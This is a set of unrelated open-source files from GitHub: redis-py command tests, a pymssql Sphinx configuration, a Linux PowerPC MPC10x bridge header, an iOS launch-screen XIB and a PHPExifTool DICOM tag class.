test_pfmerge(self, r): mema = set([b('1'), b('2'), b('3')]) memb = set([b('2'), b('3'), b('4')]) memc = set([b('5'), b('6'), b('7')]) r.pfadd('a', *mema) r.pfadd('b', *memb) r.pfadd('c', *memc) r.pfmerge('d', 'c', 'a') assert r.pfcount('d') == 6 r.pfmerge('d', 'b') assert r.pfcount('d') == 7 # HASH COMMANDS def test_hget_and_hset(self, r): r.hmset('a', {'1': 1, '2': 2, '3': 3}) assert r.hget('a', '1') == b('1') assert r.hget('a', '2') == b('2') assert r.hget('a', '3') == b('3') # field was updated, redis returns 0 assert r.hset('a', '2', 5) == 0 assert r.hget('a', '2') == b('5') # field is new, redis returns 1 assert r.hset('a', '4', 4) == 1 assert r.hget('a', '4') == b('4') # key inside of hash that doesn't exist returns null value assert r.hget('a', 'b') is None def test_hdel(self, r): r.hmset('a', {'1': 1, '2': 2, '3': 3}) assert r.hdel('a', '2') == 1 assert r.hget('a', '2') is None assert r.hdel('a', '1', '3') == 2 assert r.hlen('a') == 0 def test_hexists(self, r): r.hmset('a', {'1': 1, '2': 2, '3': 3}) assert r.hexists('a', '1') assert not r.hexists('a', '4') def test_hgetall(self, r): h = {b('a1'): b('1'), b('a2'): b('2'), b('a3'): b('3')} r.hmset('a', h) assert r.hgetall('a') == h def test_hincrby(self, r): assert r.hincrby('a', '1') == 1 assert r.hincrby('a', '1', amount=2) == 3 assert r.hincrby('a', '1', amount=-2) == 1 @skip_if_server_version_lt('2.6.0') def test_hincrbyfloat(self, r): assert r.hincrbyfloat('a', '1') == 1.0 assert r.hincrbyfloat('a', '1') == 2.0 assert r.hincrbyfloat('a', '1', 1.2) == 3.2 def test_hkeys(self, r): h = {b('a1'): b('1'), b('a2'): b('2'), b('a3'): b('3')} r.hmset('a', h) local_keys = list(iterkeys(h)) remote_keys = r.hkeys('a') assert (sorted(local_keys) == sorted(remote_keys)) def test_hlen(self, r): r.hmset('a', {'1': 1, '2': 2, '3': 3}) assert r.hlen('a') == 3 def test_hmget(self, r): assert r.hmset('a', {'a': 1, 'b': 2, 'c': 3}) assert r.hmget('a', 'a', 'b', 'c') == [b('1'), b('2'), b('3')] def test_hmset(self, r): h = {b('a'): b('1'), b('b'): b('2'), b('c'): b('3')} assert r.hmset('a', h) assert r.hgetall('a') == h def test_hsetnx(self, r): # Initially set the hash field assert r.hsetnx('a', '1', 1) assert r.hget('a', '1') == b('1') assert not r.hsetnx('a', '1', 2) assert r.hget('a', '1') == b('1') def test_hvals(self, r): h = {b('a1'): b('1'), b('a2'): b('2'), b('a3'): b('3')} r.hmset('a', h) local_vals = list(itervalues(h)) remote_vals = r.hvals('a') assert sorted(local_vals) == sorted(remote_vals) # SORT def test_sort_basic(self, r): r.rpush('a', '3', '2', '1', '4') assert r.sort('a') == [b('1'), b('2'), b('3'), b('4')] def test_sort_limited(self, r): r.rpush('a', '3', '2', '1', '4') assert r.sort('a', start=1, num=2) == [b('2'), b('3')] def test_sort_by(self, r): r['score:1'] = 8 r['score:2'] = 3 r['score:3'] = 5 r.rpush('a', '3', '2', '1') assert r.sort('a', by='score:*') == [b('2'), b('3'), b('1')] def test_sort_get(self, r): r['user:1'] = 'u1' r['user:2'] = 'u2' r['user:3'] = 'u3' r.rpush('a', '2', '3', '1') assert r.sort('a', get='user:*') == [b('u1'), b('u2'), b('u3')] def test_sort_get_multi(self, r): r['user:1'] = 'u1' r['user:2'] = 'u2' r['user:3'] = 'u3' r.rpush('a', '2', '3', '1') assert r.sort('a', get=('user:*', '#')) == \ [b('u1'), b('1'), b('u2'), b('2'), b('u3'), b('3')] def test_sort_get_groups_two(self, r): r['user:1'] = 'u1' r['user:2'] = 'u2' r['user:3'] = 'u3' r.rpush('a', '2', '3', '1') assert r.sort('a', get=('user:*', '#'), groups=True) == \ [(b('u1'), b('1')), (b('u2'), b('2')), (b('u3'), b('3'))] def test_sort_groups_string_get(self, r): r['user:1'] = 'u1' r['user:2'] = 'u2' r['user:3'] = 'u3' r.rpush('a', '2', '3', '1') with pytest.raises(exceptions.DataError): r.sort('a', get='user:*', groups=True) def test_sort_groups_just_one_get(self, r): r['user:1'] = 'u1' r['user:2'] = 'u2' r['user:3'] = 'u3' r.rpush('a', '2', '3', '1') with pytest.raises(exceptions.DataError): r.sort('a', get=['user:*'], groups=True) def test_sort_groups_no_get(self, r): r['user:1'] = 'u1' r['user:2'] = 'u2' r['user:3'] = 'u3' r.rpush('a', '2', '3', '1') with pytest.raises(exceptions.DataError): r.sort('a', groups=True) def test_sort_groups_three_gets(self, r): r['user:1'] = 'u1' r['user:2'] = 'u2' r['user:3'] = 'u3' r['door:1'] = 'd1' r['door:2'] = 'd2' r['door:3'] = 'd3' r.rpush('a', '2', '3', '1') assert r.sort('a', get=('user:*', 'door:*', '#'), groups=True) == \ [ (b('u1'), b('d1'), b('1')), (b('u2'), b('d2'), b('2')), (b('u3'), b('d3'), b('3')) ] def test_sort_desc(self, r): r.rpush('a', '2', '3', '1') assert r.sort('a', desc=True) == [b('3'), b('2'), b('1')] def test_sort_alpha(self, r): r.rpush('a', 'e', 'c', 'b', 'd', 'a') assert r.sort('a', alpha=True) == \ [b('a'), b('b'), b('c'), b('d'), b('e')] def test_sort_store(self, r): r.rpush('a', '2', '3', '1') assert r.sort('a', store='sorted_values') == 3 assert r.lrange('sorted_values', 0, -1) == [b('1'), b('2'), b('3')] def test_sort_all_options(self, r): r['user:1:username'] = 'zeus' r['user:2:username'] = 'titan' r['user:3:username'] = 'hermes' r['user:4:username'] = 'hercules' r['user:5:username'] = 'apollo' r['user:6:username'] = 'athena' r['user:7:username'] = 'hades' r['user:8:username'] = 'dionysus' r['user:1:favorite_drink'] = 'yuengling' r['user:2:favorite_drink'] = 'rum' r['user:3:favorite_drink'] = 'vodka' r['user:4:favorite_drink'] = 'milk' r['user:5:favorite_drink'] = 'pinot noir' r['user:6:favorite_drink'] = 'water' r['user:7:favorite_drink'] = 'gin' r['user:8:favorite_drink'] = 'apple juice' r.rpush('gods', '5', '8', '3', '1', '2', '7', '6', '4') num = r.sort('gods', start=2, num=4, by='user:*:username', get='user:*:favorite_drink', desc=True, alpha=True, store='sorted') assert num == 4 assert r.lrange('sorted', 0, 10) == \ [b('vodka'), b('milk'), b('gin'), b('apple juice')] class TestStrictCommands(object): def test_strict_zadd(self, sr): sr.zadd('a', 1.0, 'a1', 2.0, 'a2', a3=3.0) assert sr.zrange('a', 0, -1, withscores=True) == \ [(b('a1'), 1.0), (b('a2'), 2.0), (b('a3'), 3.0)] def test_strict_lrem(self, sr): sr.rpush('a', 'a1', 'a2', 'a3', 'a1') sr.lrem('a', 0, 'a1') assert sr.lrange('a', 0, -1) == [b('a2'), b('a3')] def test_strict_setex(self, sr): assert sr.setex('a', 60, '1') assert sr['a'] == b('1') assert 0 < sr.ttl('a') <= 60 def test_strict_ttl(self, sr): assert not sr.expire('a', 10) sr['a'] = '1' assert sr.expire('a', 10) assert 0 < sr.ttl('a') <= 10 assert sr.persist('a') assert sr.ttl('a') == -1 @skip_if_server_version_lt('2.6.0') def test_strict_pttl(self, sr): assert not sr.pexpire('a', 10000) sr['a'] = '1' assert sr.pexpire('a', 10000) assert 0 < sr.pttl('a') <= 10000 assert sr.persist('a') assert sr.pttl('a') == -1 class TestBinarySave(object): def test_binary_get_set(self, r): assert r.set(' foo bar ', '123') assert r.get(' foo bar ') == b('123') assert r.set(' foo\r\nbar\r\n ', '456') assert r.get(' foo\r\nbar\r\n ') == b('456') assert r.set(' \r\n\t\x07\x13 ', '789') assert r.get(' \r\n\t\x07\x13 ') == b('789') assert sorted(r.keys('*')) == \ [b(' \r\n\t\x07\x13 '), b(' foo\r\nbar\r\n '), b(' foo bar ')] assert r.delete(' foo bar ') assert r.delete(' foo\r\nbar\r\n ') assert r.delete(' \r\n\t\x07\x13 ') def test_binary_lists(self, r): mapping = { b('foo bar'): [b('1'), b('2'), b('3')], b('foo\r\nbar\r\n'): [b('4'), b('5'), b('6')], b('foo\tbar\x07'): [b('7'), b('8'), b('9')], } # fill in lists for key, value in iteritems(mapping): r.rpush(key, *value) # check that KEYS returns all the keys as they are assert sorted(r.keys('*')) == sorted(list(iterkeys(mapping))) # check that it is possible to get list content by key name for key, value in iteritems(mapping): assert r.lrange(key, 0, -1) == value def test_22_info(self, r): """ Older Redis versions contained 'allocation_stats' in INFO that was the cause of a number of bugs when parsing. """ info = "allocation_stats:6=1,7=1,8=7141,9=180,10=92,11=116,12=5330," \ "13=123,14=3091,15=11048,16=225842,17=1784,18=814,19=12020," \ "20=2530,21=645,22=15113,23=8695,24=142860,25=318,26=3303," \ "27=20561,28=54042,29=37390,30=1884,31=18071,32=31367,33=160," \ "34=169,35=201,36=10155,37=1045,38=15078,39=22985,40=12523," \ "41=15588,42=265,43=1287,44=142,45=382,46=945,47=426,48=171," \ "49=56,50=516,51=43,52=41,53=46,54=54,55=75,56=647,57=332," \ "58=32,59=39,60=48,61=35,62=62,63=32,64=221,65=26,66=30," \ "67=36,68=41,69=44,70=26,71=144,72=169,73=24,74=37,75=25," \ "76=42,77=21,78=126,79=374,80=27,81=40,82=43,83=47,84=46," \ "85=114,86=34,87=37,88=7240,89=34,90=38,91=18,92=99,93=20," \ "94=18,95=17,96=15,97=22,98=18,99=69,100=17,101=22,102=15," \ "103=29,104=39,105=30,106=70,107=22,108=21,109=26,110=52," \ "111=45,112=33,113=67,114=41,115=44,116=48,117=53,118=54," \ "119=51,120=75,121=44,122=57,123=44,124=66,125=56,126=52," \ "127=81,128=108,129=70,130=50,131=51,132=53,133=45,134=62," \ "135=12,136=13,137=7,138=15,139=21,140=11,141=20,142=6,143=7," \ "144=11,145=6,146=16,147=19,148=1112,149=1,151=83,154=1," \ "155=1,156=1,157=1,160=1,161=1,162=2,166=1,169=1,170=1,171=2," \ "172=1,174=1,176=2,177=9,178=34,179=73,180=30,181=1,185=3," \ "187=1,188=1,189=1,192=1,196=1,198=1,200=1,201=1,204=1,205=1," \ "207=1,208=1,209=1,214=2,215=31,216=78,217=28,218=5,219=2," \ "220=1,222=1,225=1,227=1,234=1,242=1,250=1,252=1,253=1," \ ">=256=203" parsed = parse_info(info) assert 'allocation_stats' in parsed assert '6' in parsed['allocation_stats'] assert '>=256' in parsed['allocation_stats'] def test_large_responses(self, r): "The PythonParser has some special cases for return values > 1MB" # load up 5MB of data into a key data = ''.join([ascii_letters] * (5000000 // len(ascii_letters))) r['a'] = data assert r['a'] == b(data) def test_floating_point_encoding(self, r): """ High precision floating point values sent to the server should keep precision. """ timestamp = 1349673917.939762 r.zadd('a', 'a1', timestamp) assert r.zscore('a', 'a1') == timestamp
{ "pile_set_name": "Github" }
# -*- coding: utf-8 -*- # # pymssql documentation build configuration file, created by # sphinx-quickstart on Sat Dec 28 22:08:07 2013. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys import os # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) def extract_version(): with open(os.path.join(os.pardir, 'src', 'version.h')) as f: content = f.read() # Parse file content that looks like this: # #define PYMSSQL_VERSION "2.0.1" version = content.split()[2].replace('"', '') return version # -- General configuration ------------------------------------------------ # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = ['sphinx.ext.intersphinx', 'sphinx.ext.todo'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'pymssql' copyright = u'2001-2016, pymssql developers' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The full version, including alpha/beta/rc tags. release = extract_version() # The short X.Y version. version = '.'.join(release.split('.')[:3]) # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build', 'history.rst'] # The reST default role (used for this markup: `text`) to use for all # documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # If true, keep warnings as "system message" paragraphs in the built documents. #keep_warnings = False intersphinx_mapping = { 'python': ('http://docs.python.org/', None), 'gevent': ('http://gevent.org/', None), } # Python's docs don't change every week. intersphinx_cache_limit = 90 # days # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. #html_theme = 'default' # on_rtd is whether we are on readthedocs.org, this line of code grabbed from docs.readthedocs.org on_rtd = os.environ.get('READTHEDOCS', None) == 'True' if not on_rtd: # only import and set the theme if we're building docs locally import sphinx_rtd_theme html_theme = 'sphinx_rtd_theme' html_theme_path = [sphinx_rtd_theme.get_html_theme_path()] html_context = { 'display_github': True, 'github_user': 'pymssql', 'github_repo': 'pymssql', } # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". #html_static_path = ['_static'] # Add any extra paths that contain custom files (such as robots.txt or # .htaccess) here, relative to this directory. These files are copied # directly to the root of the documentation. #html_extra_path = [] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_domain_indices = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. #html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'pymssqldoc' todo_include_todos = True # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ ('index', 'pymssql.tex', u'pymssql Documentation', u'pymssql developers', 'manual', True), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output --------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'pymssql', u'pymssql Documentation', [u'pymssql developers'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'pymssql', u'pymssql Documentation', u'pymssql developers', 'pymssql', 'One line description of project.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote' # If true, do not generate a @detailmenu in the "Top" node's menu. #texinfo_no_detailmenu = False
{ "pile_set_name": "Github" }
/* * Common routines for the Motorola SPS MPC106/8240/107 Host bridge/Mem * ctlr/EPIC/etc. * * Author: Mark A. Greer * [email protected] * * 2001 (c) MontaVista, Software, Inc. This file is licensed under * the terms of the GNU General Public License version 2. This program * is licensed "as is" without any warranty of any kind, whether express * or implied. */ #ifndef __PPC_KERNEL_MPC10X_H #define __PPC_KERNEL_MPC10X_H #include <linux/pci_ids.h> #include <asm/pci-bridge.h> /* * The values here don't completely map everything but should work in most * cases. * * MAP A (PReP Map) * Processor: 0x80000000 - 0x807fffff -> PCI I/O: 0x00000000 - 0x007fffff * Processor: 0xc0000000 - 0xdfffffff -> PCI MEM: 0x00000000 - 0x1fffffff * PCI MEM: 0x80000000 -> Processor System Memory: 0x00000000 * EUMB mapped to: ioremap_base - 0x00100000 (ioremap_base - 1 MB) * * MAP B (CHRP Map) * Processor: 0xfe000000 - 0xfebfffff -> PCI I/O: 0x00000000 - 0x00bfffff * Processor: 0x80000000 - 0xbfffffff -> PCI MEM: 0x80000000 - 0xbfffffff * PCI MEM: 0x00000000 -> Processor System Memory: 0x00000000 * EUMB mapped to: ioremap_base - 0x00100000 (ioremap_base - 1 MB) */ /* * Define the vendor/device IDs for the various bridges--should be added to * <linux/pci_ids.h> */ #define MPC10X_BRIDGE_106 ((PCI_DEVICE_ID_MOTOROLA_MPC106 << 16) | \ PCI_VENDOR_ID_MOTOROLA) #define MPC10X_BRIDGE_8240 ((0x0003 << 16) | PCI_VENDOR_ID_MOTOROLA) #define MPC10X_BRIDGE_107 ((0x0004 << 16) | PCI_VENDOR_ID_MOTOROLA) #define MPC10X_BRIDGE_8245 ((0x0006 << 16) | PCI_VENDOR_ID_MOTOROLA) /* Define the type of map to use */ #define MPC10X_MEM_MAP_A 1 #define MPC10X_MEM_MAP_B 2 /* Map A (PReP Map) Defines */ #define MPC10X_MAPA_CNFG_ADDR 0x80000cf8 #define MPC10X_MAPA_CNFG_DATA 0x80000cfc #define MPC10X_MAPA_ISA_IO_BASE 0x80000000 #define MPC10X_MAPA_ISA_MEM_BASE 0xc0000000 #define MPC10X_MAPA_DRAM_OFFSET 0x80000000 #define MPC10X_MAPA_PCI_INTACK_ADDR 0xbffffff0 #define MPC10X_MAPA_PCI_IO_START 0x00000000 #define MPC10X_MAPA_PCI_IO_END (0x00800000 - 1) #define MPC10X_MAPA_PCI_MEM_START 0x00000000 #define MPC10X_MAPA_PCI_MEM_END (0x20000000 - 1) #define MPC10X_MAPA_PCI_MEM_OFFSET (MPC10X_MAPA_ISA_MEM_BASE - \ MPC10X_MAPA_PCI_MEM_START) /* Map B (CHRP Map) Defines */ #define MPC10X_MAPB_CNFG_ADDR 0xfec00000 #define MPC10X_MAPB_CNFG_DATA 0xfee00000 #define MPC10X_MAPB_ISA_IO_BASE 0xfe000000 #define MPC10X_MAPB_ISA_MEM_BASE 0x80000000 #define MPC10X_MAPB_DRAM_OFFSET 0x00000000 #define MPC10X_MAPB_PCI_INTACK_ADDR 0xfef00000 #define MPC10X_MAPB_PCI_IO_START 0x00000000 #define MPC10X_MAPB_PCI_IO_END (0x00c00000 - 1) #define MPC10X_MAPB_PCI_MEM_START 0x80000000 #define MPC10X_MAPB_PCI_MEM_END (0xc0000000 - 1) #define MPC10X_MAPB_PCI_MEM_OFFSET (MPC10X_MAPB_ISA_MEM_BASE - \ MPC10X_MAPB_PCI_MEM_START) /* Set hose members to values appropriate for the mem map used */ #define MPC10X_SETUP_HOSE(hose, map) { \ (hose)->pci_mem_offset = MPC10X_MAP##map##_PCI_MEM_OFFSET; \ (hose)->io_space.start = MPC10X_MAP##map##_PCI_IO_START; \ (hose)->io_space.end = MPC10X_MAP##map##_PCI_IO_END; \ (hose)->mem_space.start = MPC10X_MAP##map##_PCI_MEM_START; \ (hose)->mem_space.end = MPC10X_MAP##map##_PCI_MEM_END; \ (hose)->io_base_virt = (void *)MPC10X_MAP##map##_ISA_IO_BASE; \ } /* Miscellaneous Configuration register offsets */ #define MPC10X_CFG_PIR_REG 0x09 #define MPC10X_CFG_PIR_HOST_BRIDGE 0x00 #define MPC10X_CFG_PIR_AGENT 0x01 #define MPC10X_CFG_EUMBBAR 0x78 #define MPC10X_CFG_PICR1_REG 0xa8 #define MPC10X_CFG_PICR1_ADDR_MAP_MASK 0x00010000 #define MPC10X_CFG_PICR1_ADDR_MAP_A 0x00010000 #define MPC10X_CFG_PICR1_ADDR_MAP_B 0x00000000 #define MPC10X_CFG_PICR1_SPEC_PCI_RD 0x00000004 #define MPC10X_CFG_PICR1_ST_GATH_EN 0x00000040 #define MPC10X_CFG_PICR2_REG 0xac #define MPC10X_CFG_PICR2_COPYBACK_OPT 0x00000001 #define MPC10X_CFG_MAPB_OPTIONS_REG 0xe0 #define MPC10X_CFG_MAPB_OPTIONS_CFAE 0x80 /* CPU_FD_ALIAS_EN */ #define MPC10X_CFG_MAPB_OPTIONS_PFAE 0x40 /* PCI_FD_ALIAS_EN */ #define MPC10X_CFG_MAPB_OPTIONS_DR 0x20 /* DLL_RESET */ #define MPC10X_CFG_MAPB_OPTIONS_PCICH 0x08 /* PCI_COMPATIBILITY_HOLE */ #define MPC10X_CFG_MAPB_OPTIONS_PROCCH 0x04 /* PROC_COMPATIBILITY_HOLE */ /* Define offsets for the memory controller registers in the config space */ #define MPC10X_MCTLR_MEM_START_1 0x80 /* Banks 0-3 */ #define MPC10X_MCTLR_MEM_START_2 0x84 /* Banks 4-7 */ #define MPC10X_MCTLR_EXT_MEM_START_1 0x88 /* Banks 0-3 */ #define MPC10X_MCTLR_EXT_MEM_START_2 0x8c /* Banks 4-7 */ #define MPC10X_MCTLR_MEM_END_1 0x90 /* Banks 0-3 */ #define MPC10X_MCTLR_MEM_END_2 0x94 /* Banks 4-7 */ #define MPC10X_MCTLR_EXT_MEM_END_1 0x98 /* Banks 0-3 */ #define MPC10X_MCTLR_EXT_MEM_END_2 0x9c /* Banks 4-7 */ #define MPC10X_MCTLR_MEM_BANK_ENABLES 0xa0 /* Define some offset in the EUMB */ #define MPC10X_EUMB_SIZE 0x00100000 /* Total EUMB size (1MB) */ #define MPC10X_EUMB_MU_OFFSET 0x00000000 /* Msg Unit reg offset */ #define MPC10X_EUMB_MU_SIZE 0x00001000 /* Msg Unit reg size */ #define MPC10X_EUMB_DMA_OFFSET 0x00001000 /* DMA Unit reg offset */ #define MPC10X_EUMB_DMA_SIZE 0x00001000 /* DMA Unit reg size */ #define MPC10X_EUMB_ATU_OFFSET 0x00002000 /* Addr xlate reg offset */ #define MPC10X_EUMB_ATU_SIZE 0x00001000 /* Addr xlate reg size */ #define MPC10X_EUMB_I2C_OFFSET 0x00003000 /* I2C Unit reg offset */ #define MPC10X_EUMB_I2C_SIZE 0x00001000 /* I2C Unit reg size */ #define MPC10X_EUMB_DUART_OFFSET 0x00004000 /* DUART Unit reg offset (8245) */ #define MPC10X_EUMB_DUART_SIZE 0x00001000 /* DUART Unit reg size (8245) */ #define MPC10X_EUMB_EPIC_OFFSET 0x00040000 /* EPIC offset in EUMB */ #define MPC10X_EUMB_EPIC_SIZE 0x00030000 /* EPIC size */ #define MPC10X_EUMB_PM_OFFSET 0x000fe000 /* Performance Monitor reg offset (8245) */ #define MPC10X_EUMB_PM_SIZE 0x00001000 /* Performance Monitor reg size (8245) */ #define MPC10X_EUMB_WP_OFFSET 0x000ff000 /* Data path diagnostic, watchpoint reg offset */ #define MPC10X_EUMB_WP_SIZE 0x00001000 /* Data path diagnostic, watchpoint reg size */ /* * Define some recommended places to put the EUMB regs. * For both maps, recommend putting the EUMB from 0xeff00000 to 0xefffffff. */ extern unsigned long ioremap_base; #define MPC10X_MAPA_EUMB_BASE (ioremap_base - MPC10X_EUMB_SIZE) #define MPC10X_MAPB_EUMB_BASE MPC10X_MAPA_EUMB_BASE enum ppc_sys_devices { MPC10X_IIC1, MPC10X_DMA0, MPC10X_DMA1, MPC10X_UART0, MPC10X_UART1, NUM_PPC_SYS_DEVS, }; int mpc10x_bridge_init(struct pci_controller *hose, uint current_map, uint new_map, uint phys_eumb_base); unsigned long mpc10x_get_mem_size(uint mem_map); int mpc10x_enable_store_gathering(struct pci_controller *hose); int mpc10x_disable_store_gathering(struct pci_controller *hose); /* For MPC107 boards that use the built-in openpic */ void mpc10x_set_openpic(void); #endif /* __PPC_KERNEL_MPC10X_H */
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <document type="com.apple.InterfaceBuilder3.CocoaTouch.XIB" version="3.0" toolsVersion="6214" systemVersion="14A314h" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES"> <dependencies> <plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="6207"/> <capability name="Constraints with non-1.0 multipliers" minToolsVersion="5.1"/> </dependencies> <objects> <placeholder placeholderIdentifier="IBFilesOwner" id="-1" userLabel="File's Owner"/> <placeholder placeholderIdentifier="IBFirstResponder" id="-2" customClass="UIResponder"/> <view contentMode="scaleToFill" id="iN0-l3-epB"> <rect key="frame" x="0.0" y="0.0" width="480" height="480"/> <autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/> <subviews> <label opaque="NO" clipsSubviews="YES" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text=" Copyright (c) 2014 Plymouth University. All rights reserved." textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumFontSize="9" translatesAutoresizingMaskIntoConstraints="NO" id="8ie-xW-0ye"> <rect key="frame" x="20" y="439" width="441" height="21"/> <fontDescription key="fontDescription" type="system" pointSize="17"/> <color key="textColor" cocoaTouchSystemColor="darkTextColor"/> <nil key="highlightedColor"/> </label> <label opaque="NO" clipsSubviews="YES" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="BMI" textAlignment="center" lineBreakMode="middleTruncation" baselineAdjustment="alignBaselines" minimumFontSize="18" translatesAutoresizingMaskIntoConstraints="NO" id="kId-c2-rCX"> <rect key="frame" x="20" y="140" width="441" height="43"/> <fontDescription key="fontDescription" type="boldSystem" pointSize="36"/> <color key="textColor" cocoaTouchSystemColor="darkTextColor"/> <nil key="highlightedColor"/> </label> </subviews> <color key="backgroundColor" white="1" alpha="1" colorSpace="custom" customColorSpace="calibratedWhite"/> <constraints> <constraint firstItem="kId-c2-rCX" firstAttribute="centerY" secondItem="iN0-l3-epB" secondAttribute="bottom" multiplier="1/3" constant="1" id="5cJ-9S-tgC"/> <constraint firstAttribute="centerX" secondItem="kId-c2-rCX" secondAttribute="centerX" id="Koa-jz-hwk"/> <constraint firstAttribute="bottom" secondItem="8ie-xW-0ye" secondAttribute="bottom" constant="20" id="Kzo-t9-V3l"/> <constraint firstItem="8ie-xW-0ye" firstAttribute="leading" secondItem="iN0-l3-epB" secondAttribute="leading" constant="20" symbolic="YES" id="MfP-vx-nX0"/> <constraint firstAttribute="centerX" secondItem="8ie-xW-0ye" secondAttribute="centerX" id="ZEH-qu-HZ9"/> <constraint firstItem="kId-c2-rCX" firstAttribute="leading" secondItem="iN0-l3-epB" secondAttribute="leading" constant="20" symbolic="YES" id="fvb-Df-36g"/> </constraints> <nil key="simulatedStatusBarMetrics"/> <freeformSimulatedSizeMetrics key="simulatedDestinationMetrics"/> <point key="canvasLocation" x="548" y="455"/> </view> </objects> </document>
{ "pile_set_name": "Github" }
<?php /* * This file is part of PHPExifTool. * * (c) 2012 Romain Neutron <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPExiftool\Driver\Tag\DICOM; use JMS\Serializer\Annotation\ExclusionPolicy; use PHPExiftool\Driver\AbstractTag; /** * @ExclusionPolicy("all") */ class AnatomicPerspectiveCodeSeqTrial extends AbstractTag { protected $Id = '0008,2257'; protected $Name = 'AnatomicPerspectiveCodeSeqTrial'; protected $FullName = 'DICOM::Main'; protected $GroupName = 'DICOM'; protected $g0 = 'DICOM'; protected $g1 = 'DICOM'; protected $g2 = 'Image'; protected $Type = '?'; protected $Writable = false; protected $Description = 'Anatomic Perspective Code Seq Trial'; }
{ "pile_set_name": "Github" }
